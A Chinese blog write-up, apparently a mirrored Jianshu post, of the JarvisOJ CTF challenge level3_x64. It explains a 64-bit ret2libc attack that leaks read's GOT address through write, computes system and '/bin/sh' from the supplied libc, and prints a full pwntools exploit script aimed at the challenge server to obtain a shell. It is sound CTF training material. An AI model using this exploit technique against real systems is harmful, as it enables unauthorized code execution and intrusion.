美文网首页
jarvisoj level3_x64

jarvisoj level3_x64

作者: poxlove3 | 来源:发表于2018-07-22 18:33 被阅读0次

ida打开checksec看一下,开启了nx,不想shellcode什么的了。
反编译一下看看发现write也有,read也有,不过没找到system也没找到'/bin/sh'
给了一个libc链接库,打开看看system也有,'bin/sh'也有
感觉思路应该和level3差不多,只不过变成了64位的传参。

总体思路,利用write函数打印出read在got表中的真实地址,然后利用libc中的偏移来求出system和bin/sh的地址,构造system('/bin/sh')来得到shell

ROPgadget --binary level3_x64 --only 'pop|ret'
好的我们找到了前两个参数的地址!rdi,rsi,第三个我们默认就够了
rdi = 0x4006b3
rsi = 0x4006b1

64位传参数顺序 参数1-6先进寄存器,后面和32位是一样的。
调用函数读的是plt表第一次时候老是用got表。。。
还有一点就是说要看一下rdx寄存器的值和8的大小相比较,发现rdx寄存器的值是大于8的,所以就不用传read的第三个参数了。
脚本

from pwn import *

# p = process('./level3_x64')
p = remote("pwn2.jarvisoj.com", 9883)

elf = ELF('./level3_x64')
libc = ELF('./libc-2.19.so')

rdi = 0x4006b3 
rsi = 0x4006b1
#ROPgadget --binary level3_x64 --only 'pop|ret'

func_addr = elf.symbols['vulnerable_function'] 
write_plt = elf.plt['write']  
read_got = elf.got['read']

payload = 'A' * 0x80 + 'B' * 0x08
payload += p64(rdi) + p64(1)
payload += p64(rsi) + p64(read_got) + p64(0)
payload += p64(write_plt) + p64(func_addr)

p.recvuntil('Input:\n')
p.sendline(payload)

read_addr = u64(p.recv(8))
# print 'read' + hex(read_addr)

p.recvuntil('Input:\n')

binsh = libc.search('/bin/sh').next()
system = libc.symbols['system']
read = libc.symbols['read']

offset = read_addr - read
binsh_addr = binsh + offset
system_addr = system + offset

payload2 = 'A' * 0x80 + 'B' * 0x08
payload2 += p64(rdi) + p64(binsh_addr)
payload2 += p64(system_addr) + p64(func_addr)

p.sendline(payload2)
p.interactive()

相关文章

  • jarvisoj level3_x64

    ida打开checksec看一下,开启了nx,不想shellcode什么的了。反编译一下看看发现write也有,r...

  • [JarvisOj](pwn)level3_x64

    简介 : nc pwn2.jarvisoj.com 9883 该题和 level3 的代码相比 : 少了在 rea...

  • Jarvis OJ level5 wp

    题目要求:附件同level3_x64,mmap和mprotect练习,假设system和execve函数被禁用,请...

  • jarvisoj fm

    流程套路还是固定的,file看一下是32位的文件checksec看一下开了什么保护,好像没什么奇怪的东西运行一下看...

  • [JarvisOj]Web

    LOCALHOST 题目入口:http://web.jarvisoj.com:32774/ X-Forwarded...

  • [JarvisOj]Basic

    手贱 某天A君的网站被日,管理员密码被改,死活登不上,去数据库一看,啥,这密码md5不是和原来一样吗?为啥登不上咧...

  • jarvisOJ wp

    [xman] level0 file : 64位 程序 静态链接加载函数 checksec : NX 开启(堆栈不...

  • 51端口访问

    题目链接:http://web.jarvisoj.com:32770/ Please use port 51 to...

  • WEB-inject #desc #`#sql注入

    flag{luckyGame~} 描述 题目入口:http://web.jarvisoj.com:32794/。H...

  • [JarvisOj](pwn)level1

    简介 : 地址 : nc pwn2.jarvisoj.com 9877程序 : level1.80eacdcd51...

网友评论

      本文标题:jarvisoj level3_x64

      本文链接:https://www.haomeiwen.com/subject/eaxfpftx.html